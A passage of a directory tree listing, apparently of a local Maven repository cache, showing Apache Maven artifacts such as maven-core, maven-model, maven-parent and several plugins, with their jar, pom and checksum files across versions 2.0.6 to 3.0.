maven-artifact-manager-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-artifact-manager-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-artifact-manager-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-artifact-manager-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-artifact-manager-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-artifact-manager-2.0.9.pom.sha1 │ │ │ │ │ │ │ └── 2.2.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-artifact-manager-2.2.1.jar │ │ │ │ │ │ │ ├── maven-artifact-manager-2.2.1.jar.sha1 │ │ │ │ │ │ │ ├── maven-artifact-manager-2.2.1.pom │ │ │ │ │ │ │ └── maven-artifact-manager-2.2.1.pom.sha1 │ │ │ │ │ │ ├── maven-core/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-core-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-core-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-core-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-core-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-core-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-core-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-core-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-core-2.0.9.pom.sha1 │ │ │ │ │ │ │ ├── 2.2.1/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-core-2.2.1.jar │ │ │ │ │ │ │ │ ├── maven-core-2.2.1.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-core-2.2.1.pom │ │ │ │ │ │ │ │ └── maven-core-2.2.1.pom.sha1 │ │ │ │ │ │ │ └── 3.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-core-3.0.jar │ │ │ │ │ │ │ ├── maven-core-3.0.jar.sha1 │ │ │ │ │ │ │ ├── maven-core-3.0.pom │ │ │ │ │ │ │ └── maven-core-3.0.pom.sha1 │ │ │ │ │ │ ├── maven-error-diagnostics/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-error-diagnostics-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-error-diagnostics-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-error-diagnostics-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-error-diagnostics-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-error-diagnostics-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-error-diagnostics-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-error-diagnostics-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-error-diagnostics-2.0.9.pom.sha1 │ │ │ │ │ │ │ └── 2.2.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-error-diagnostics-2.2.1.jar │ │ │ │ │ │ │ ├── maven-error-diagnostics-2.2.1.jar.sha1 │ │ │ │ │ │ │ ├── maven-error-diagnostics-2.2.1.pom │ │ │ │ │ │ │ └── maven-error-diagnostics-2.2.1.pom.sha1 │ │ │ │ │ │ ├── maven-model/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-model-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-model-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-model-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-model-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-model-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-model-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-model-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-model-2.0.9.pom.sha1 │ │ │ │ │ │ │ ├── 2.2.1/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-model-2.2.1.jar │ │ │ │ │ │ │ │ ├── maven-model-2.2.1.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-model-2.2.1.pom │ │ │ │ │ │ │ │ └── maven-model-2.2.1.pom.sha1 │ │ │ │ │ │ │ └── 3.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-model-3.0.jar │ │ │ │ │ │ │ ├── maven-model-3.0.jar.sha1 │ │ │ │ │ │ │ ├── maven-model-3.0.pom │ │ │ │ │ │ │ └── maven-model-3.0.pom.sha1 │ │ │ │ │ │ ├── maven-model-builder/ │ │ │ │ │ │ │ └── 3.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-model-builder-3.0.jar │ │ │ │ │ │ │ ├── maven-model-builder-3.0.jar.sha1 │ │ │ │ │ │ │ ├── maven-model-builder-3.0.pom │ │ │ │ │ │ │ └── maven-model-builder-3.0.pom.sha1 │ │ │ │ │ │ ├── maven-monitor/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-monitor-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-monitor-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-monitor-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-monitor-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-monitor-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-monitor-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-monitor-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-monitor-2.0.9.pom.sha1 │ │ │ │ │ │ │ └── 2.2.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-monitor-2.2.1.jar │ │ │ │ │ │ │ ├── maven-monitor-2.2.1.jar.sha1 │ │ │ │ │ │ │ ├── maven-monitor-2.2.1.pom │ │ │ │ │ │ │ └── maven-monitor-2.2.1.pom.sha1 │ │ │ │ │ │ ├── maven-parent/ │ │ │ │ │ │ │ ├── 10/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-parent-10.pom │ │ │ │ │ │ │ │ └── maven-parent-10.pom.sha1 │ │ │ │ │ │ │ ├── 11/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-parent-11.pom │ │ │ │ │ │ │ │ └── maven-parent-11.pom.sha1 │ │ │ │ │ │ │ ├── 15/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-parent-15.pom │ │ │ │ │ │ │ │ └── maven-parent-15.pom.sha1 │ │ │ │ │ │ │ ├── 16/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-parent-16.pom │ │ │ │ │ │ │ │ └── maven-parent-16.pom.sha1 │ │ │ │ │ │ │ ├── 19/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-parent-19.pom │ │ │ │ │ │ │ │ └── maven-parent-19.pom.sha1 │ │ │ │ │ │ │ ├── 20/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-parent-20.pom │ │ │ │ │ │ │ │ └── maven-parent-20.pom.sha1 │ │ │ │ │ │ │ ├── 21/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-parent-21.pom │ │ │ │ │ │ │ │ └── maven-parent-21.pom.sha1 │ │ │ │ │ │ │ ├── 22/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-parent-22.pom │ │ │ │ │ │ │ │ └── maven-parent-22.pom.sha1 │ │ │ │ │ │ │ ├── 23/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-parent-23.pom │ │ │ │ │ │ │ │ └── maven-parent-23.pom.sha1 │ │ │ │ │ │ │ ├── 24/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-parent-24.pom │ │ │ │ │ │ │ │ └── maven-parent-24.pom.sha1 │ │ │ │ │ │ │ ├── 26/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-parent-26.pom │ │ │ │ │ │ │ │ └── maven-parent-26.pom.sha1 │ │ │ │ │ │ │ ├── 5/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-parent-5.pom │ │ │ │ │ │ │ │ └── maven-parent-5.pom.sha1 │ │ │ │ │ │ │ ├── 8/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-parent-8.pom │ │ │ │ │ │ │ │ └── maven-parent-8.pom.sha1 │ │ │ │ │ │ │ └── 9/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-parent-9.pom │ │ │ │ │ │ │ └── maven-parent-9.pom.sha1 │ │ │ │ │ │ ├── maven-plugin-api/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-plugin-api-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-plugin-api-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-plugin-api-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-plugin-api-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-plugin-api-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-plugin-api-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-plugin-api-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-plugin-api-2.0.9.pom.sha1 │ │ │ │ │ │ │ ├── 2.2.1/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-plugin-api-2.2.1.jar │ │ │ │ │ │ │ │ ├── maven-plugin-api-2.2.1.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-plugin-api-2.2.1.pom │ │ │ │ │ │ │ │ └── maven-plugin-api-2.2.1.pom.sha1 │ │ │ │ │ │ │ └── 3.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-plugin-api-3.0.jar │ │ │ │ │ │ │ ├── maven-plugin-api-3.0.jar.sha1 │ │ │ │ │ │ │ ├── maven-plugin-api-3.0.pom │ │ │ │ │ │ │ └── maven-plugin-api-3.0.pom.sha1 │ │ │ │ │ │ ├── maven-plugin-descriptor/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-plugin-descriptor-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-plugin-descriptor-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-plugin-descriptor-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-plugin-descriptor-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-plugin-descriptor-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-plugin-descriptor-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-plugin-descriptor-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-plugin-descriptor-2.0.9.pom.sha1 │ │ │ │ │ │ │ └── 2.2.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-plugin-descriptor-2.2.1.jar │ │ │ │ │ │ │ ├── maven-plugin-descriptor-2.2.1.jar.sha1 │ │ │ │ │ │ │ ├── maven-plugin-descriptor-2.2.1.pom │ │ │ │ │ │ │ └── maven-plugin-descriptor-2.2.1.pom.sha1 │ │ │ │ │ │ ├── maven-plugin-parameter-documenter/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-plugin-parameter-documenter-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-plugin-parameter-documenter-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-plugin-parameter-documenter-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-plugin-parameter-documenter-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-plugin-parameter-documenter-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-plugin-parameter-documenter-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-plugin-parameter-documenter-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-plugin-parameter-documenter-2.0.9.pom.sha1 │ │ │ │ │ │ │ └── 2.2.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-plugin-parameter-documenter-2.2.1.jar │ │ │ │ │ │ │ ├── maven-plugin-parameter-documenter-2.2.1.jar.sha1 │ │ │ │ │ │ │ ├── maven-plugin-parameter-documenter-2.2.1.pom │ │ │ │ │ │ │ └── maven-plugin-parameter-documenter-2.2.1.pom.sha1 │ │ │ │ │ │ ├── maven-plugin-registry/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-plugin-registry-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-plugin-registry-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-plugin-registry-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-plugin-registry-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-plugin-registry-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-plugin-registry-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-plugin-registry-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-plugin-registry-2.0.9.pom.sha1 │ │ │ │ │ │ │ └── 2.2.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-plugin-registry-2.2.1.jar │ │ │ │ │ │ │ ├── maven-plugin-registry-2.2.1.jar.sha1 │ │ │ │ │ │ │ ├── maven-plugin-registry-2.2.1.pom │ │ │ │ │ │ │ └── maven-plugin-registry-2.2.1.pom.sha1 │ │ │ │ │ │ ├── maven-profile/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-profile-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-profile-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-profile-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-profile-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-profile-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-profile-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-profile-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-profile-2.0.9.pom.sha1 │ │ │ │ │ │ │ └── 2.2.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-profile-2.2.1.jar │ │ │ │ │ │ │ ├── maven-profile-2.2.1.jar.sha1 │ │ │ │ │ │ │ ├── maven-profile-2.2.1.pom │ │ │ │ │ │ │ └── maven-profile-2.2.1.pom.sha1 │ │ │ │ │ │ ├── maven-project/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-project-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-project-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-project-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-project-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-project-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-project-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-project-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-project-2.0.9.pom.sha1 │ │ │ │ │ │ │ └── 2.2.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-project-2.2.1.jar │ │ │ │ │ │ │ ├── maven-project-2.2.1.jar.sha1 │ │ │ │ │ │ │ ├── maven-project-2.2.1.pom │ │ │ │ │ │ │ └── maven-project-2.2.1.pom.sha1 │ │ │ │ │ │ ├── maven-repository-metadata/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-repository-metadata-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-repository-metadata-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-repository-metadata-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-repository-metadata-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-repository-metadata-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-repository-metadata-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-repository-metadata-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-repository-metadata-2.0.9.pom.sha1 │ │ │ │ │ │ │ ├── 2.2.1/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-repository-metadata-2.2.1.jar │ │ │ │ │ │ │ │ ├── maven-repository-metadata-2.2.1.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-repository-metadata-2.2.1.pom │ │ │ │ │ │ │ │ └── maven-repository-metadata-2.2.1.pom.sha1 │ │ │ │ │ │ │ └── 3.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-repository-metadata-3.0.jar │ │ │ │ │ │ │ ├── maven-repository-metadata-3.0.jar.sha1 │ │ │ │ │ │ │ ├── maven-repository-metadata-3.0.pom │ │ │ │ │ │ │ └── maven-repository-metadata-3.0.pom.sha1 │ │ │ │ │ │ ├── maven-settings/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-settings-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-settings-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-settings-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-settings-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-settings-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-settings-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-settings-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-settings-2.0.9.pom.sha1 │ │ │ │ │ │ │ ├── 2.2.1/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-settings-2.2.1.jar │ │ │ │ │ │ │ │ ├── maven-settings-2.2.1.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-settings-2.2.1.pom │ │ │ │ │ │ │ │ └── maven-settings-2.2.1.pom.sha1 │ │ │ │ │ │ │ └── 3.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-settings-3.0.jar │ │ │ │ │ │ │ ├── maven-settings-3.0.jar.sha1 │ │ │ │ │ │ │ ├── maven-settings-3.0.pom │ │ │ │ │ │ │ └── maven-settings-3.0.pom.sha1 │ │ │ │ │ │ ├── maven-settings-builder/ │ │ │ │ │ │ │ └── 3.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-settings-builder-3.0.jar │ │ │ │ │ │ │ ├── maven-settings-builder-3.0.jar.sha1 │ │ │ │ │ │ │ ├── maven-settings-builder-3.0.pom │ │ │ │ │ │ │ └── maven-settings-builder-3.0.pom.sha1 │ │ │ │ │ │ ├── maven-toolchain/ │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-toolchain-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-toolchain-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-toolchain-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-toolchain-2.0.9.pom.sha1 │ │ │ │ │ │ │ └── 2.2.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-toolchain-2.2.1.jar │ │ │ │ │ │ │ ├── maven-toolchain-2.2.1.jar.sha1 │ │ │ │ │ │ │ ├── maven-toolchain-2.2.1.pom │ │ │ │ │ │ │ └── maven-toolchain-2.2.1.pom.sha1 │ │ │ │ │ │ ├── plugin-tools/ │ │ │ │ │ │ │ ├── maven-plugin-annotations/ │ │ │ │ │ │ │ │ └── 3.2/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-plugin-annotations-3.2.jar │ │ │ │ │ │ │ │ ├── maven-plugin-annotations-3.2.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-plugin-annotations-3.2.pom │ │ │ │ │ │ │ │ └── maven-plugin-annotations-3.2.pom.sha1 │ │ │ │ │ │ │ └── maven-plugin-tools/ │ │ │ │ │ │ │ └── 3.2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-plugin-tools-3.2.pom │ │ │ │ │ │ │ └── maven-plugin-tools-3.2.pom.sha1 │ │ │ │ │ │ ├── plugins/ │ │ │ │ │ │ │ ├── maven-clean-plugin/ │ │ │ │ │ │ │ │ └── 2.5/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-clean-plugin-2.5.jar │ │ │ │ │ │ │ │ ├── maven-clean-plugin-2.5.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-clean-plugin-2.5.pom │ │ │ │ │ │ │ │ └── maven-clean-plugin-2.5.pom.sha1 │ │ │ │ │ │ │ ├── maven-compiler-plugin/ │ │ │ │ │ │ │ │ └── 3.3/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-compiler-plugin-3.3.jar │ │ │ │ │ │ │ │ ├── maven-compiler-plugin-3.3.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-compiler-plugin-3.3.pom │ │ │ │ │ │ │ │ └── maven-compiler-plugin-3.3.pom.sha1 │ │ │ │ │ │ │ ├── maven-deploy-plugin/ │ │ │ │ │ │ │ │ └── 2.7/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-deploy-plugin-2.7.jar │ │ │ │ │ │ │ │ ├── maven-deploy-plugin-2.7.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-deploy-plugin-2.7.pom │ │ │ │ │ │ │ │ └── maven-deploy-plugin-2.7.pom.sha1 │ │ │ │ │ │ │ ├── maven-install-plugin/ │ │ │ │ │ │ │ │ └── 2.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-install-plugin-2.4.jar │ │ │ │ │ │ │ │ ├── maven-install-plugin-2.4.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-install-plugin-2.4.pom │ │ │ │ │ │ │ │ └── maven-install-plugin-2.4.pom.sha1 │ │ │ │ │ │ │ ├── maven-plugins/ │ │ │ │ │ │ │ │ ├── 22/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-plugins-22.pom │ │ │ │ │ │ │ │ │ └── maven-plugins-22.pom.sha1 │ │ │ │ │ │ │ │ ├── 23/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-plugins-23.pom │ │ │ │ │ │ │ │ │ └── maven-plugins-23.pom.sha1 │ │ │ │ │ │ │ │ ├── 24/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-plugins-24.pom │ │ │ │ │ │ │ │ │ └── maven-plugins-24.pom.sha1 │ │ │ │ │ │ │ │ └── 27/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-plugins-27.pom │ │ │ │ │ │ │ │ └── maven-plugins-27.pom.sha1 │ │ │ │ │ │ │ ├── maven-resources-plugin/ │ │ │ │ │ │ │ │ └── 2.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-resources-plugin-2.6.jar │ │ │ │ │ │ │ │ ├── maven-resources-plugin-2.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-resources-plugin-2.6.pom │ │ │ │ │ │ │ │ └── maven-resources-plugin-2.6.pom.sha1 │ │ │ │ │ │ │ ├── maven-site-plugin/ │ │ │ │ │ │ │ │ └── 3.3/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-site-plugin-3.3.jar │ │ │ │ │ │ │ │ ├── maven-site-plugin-3.3.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-site-plugin-3.3.pom │ │ │ │ │ │ │ │ └── maven-site-plugin-3.3.pom.sha1 │ │ │ │ │ │ │ ├── maven-surefire-plugin/ │ │ │ │ │ │ │ │ └── 2.17/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-surefire-plugin-2.17.jar │ │ │ │ │ │ │ │ ├── maven-surefire-plugin-2.17.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-surefire-plugin-2.17.pom │ │ │ │ │ │ │ │ └── maven-surefire-plugin-2.17.pom.sha1 │ │ │ │ │ │ │ └── maven-war-plugin/ │ │ │ │ │ │ │ └── 2.2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-war-plugin-2.2.jar │ │ │ │ │ │ │ ├── maven-war-plugin-2.2.jar.sha1 │ │ │ │ │ │ │ ├── maven-war-plugin-2.2.pom │ │ │ │ │ │ │ └── maven-war-plugin-2.2.pom.sha1 │ │ │ │ │ │ ├── reporting/ │ │ │ │ │ │ │ ├── maven-reporting/ │ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-reporting-2.0.6.pom │ │ │ │ │ │ │ │ │ └── maven-reporting-2.0.6.pom.sha1 │ │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-reporting-2.0.9.pom │ │ │ │ │ │ │ │ │ └── maven-reporting-2.0.9.pom.sha1 │ │ │ │ │ │ │ │ └── 2.2.1/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-reporting-2.2.1.pom │ │ │ │ │ │ │ │ └── maven-reporting-2.2.1.pom.sha1 │ │ │ │ │ │ │ ├── maven-reporting-api/ │ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-reporting-api-2.0.6.jar │ │ │ │ │ │ │ │ │ ├── maven-reporting-api-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ │ ├── maven-reporting-api-2.0.6.pom │ │ │ │ │ │ │ │ │ └── maven-reporting-api-2.0.6.pom.sha1 │ │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-reporting-api-2.0.9.jar │ │ │ │ │ │ │ │ │ ├── maven-reporting-api-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ │ ├── maven-reporting-api-2.0.9.pom │ │ │ │ │ │ │ │ │ └── maven-reporting-api-2.0.9.pom.sha1 │ │ │ │ │ │ │ │ ├── 2.2.1/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-reporting-api-2.2.1.pom │ │ │ │ │ │ │ │ │ └── maven-reporting-api-2.2.1.pom.sha1 │ │ │ │ │ │ │ │ └── 3.0/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── 